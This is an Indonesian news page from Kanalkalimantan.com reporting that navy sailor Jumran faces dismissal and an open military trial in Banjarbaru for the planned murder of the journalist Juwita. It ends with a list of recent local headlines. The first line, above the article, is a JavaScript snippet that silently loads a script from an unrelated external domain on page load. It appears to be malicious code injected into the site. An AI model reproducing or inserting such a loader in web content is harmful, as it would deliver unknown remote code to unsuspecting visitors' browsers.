(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dipastikan Dipecat, Sidang Jumran di Pengadilan Militer Secara Terbuka


KANALKALIMANTAN.COM, BANJARBARU – Tersangka Kelasi I Bahari Jumran dipastikan dipecat  sebagai anggota TNI Angkatan Laut setelah melakukan perbuatannya membunuh dengan berencana wartawati media online di Banjarbaru, Juwita.

Anggota TNI AL bertugas di Lanal Balikpapan itu akan menjalani persidangan di Pengadilan Militer I-06 Banjarmasin di Banjarbaru.

Hal itu dikatakan Kadispenal Laksma TNI IM Wira Hady AW, melalui keterangan press conference di Lanal Banjarmasin, Selasa (8/4/2025) siang.

Baca juga: Ini Motif Anggota TNI AL Jumran Habisi Juwita, Dilakukan Sendirian

“Kalau sesuai dengan undang-undang aturan pasal yang dibebankan itu pasti sudah dipecat dan akan menjalani proses hukum sesuai ketentuan yang berlaku di pengadilan militer,” ujarnya.

Diketahui penyidik membebankan hukuman sesuai dengan pasal 340 KUHP tentang pembunuhan berencana junto pasal 338 KUHP tentang pembunuhan.

Berkas perkara yang hingga 10 hari telah dikumpulkan ini diberikan kepada kepada Oditurat Militer (Odmil) III-15 Banjarmasin.

Baca juga: Dugaan Rudakpaksa Tunggu Pembuktian Persidangan, Kelasi I Jumran Diserahkan ke Odmil

Kepala Odmil III-15 Banjarmasin Letkol Chk Sunandi menyebutkan, berkas perkara akan diteliti untuk kelengkapan syarat formil dan materill kemudian kembali diolah.

“Apabila sudah dinyatakan lengkap baik persyaratan formil materiilnya kami ajukan kembali ke Lanal Banjarmasin,” ujarnya.

“Karena mekanisme peradilan militer, apabila seorang prajurit melakukan tindak pidana harus berdasarkan skepra dari paprahnya yaitu perwira penyerah perkara,” sambungnya.

Baca juga: Panen Raya Semangka di Desa Pulau Kaladan

Dalam hal skepra telah disetujui pengajuannya, Odmil akan melimpahkannya ke Pengadilan Militer I-06 Banjarmasin di Banjarbaru.

Dia pun memastikan peradilan militer yang akan dijalani Jumran nanti terbuka untuk umum.

“Peradilan militer untuk tindak pidana umum semua dibuka untuk umum, siapa saja boleh menyaksikan,” tegasnya.

Baca juga: Panen Raya Padi di Hambuku Hulu, Ini Kata Bupati HSU Haji Jani

Dalam sebuah press conference di Lanal Banjarmasin, Denpomal Banjarmasin telah menyerahkan tersangka Jumran beserta 46 barang bukti untuk kembali disita oleh Odmil III-15 Banjarmasin

Penyidik telah menjalankan proses penyidikan selama 10 hari, yang kemudian ditutup dengan pelaksanaan rekontruksi atau reka adegan pembunuhan yang dilakukan Jumran terhadap korban Juwita. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

11 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

11 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

14 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

20 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

21 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

23 jam ago

This website uses cookies.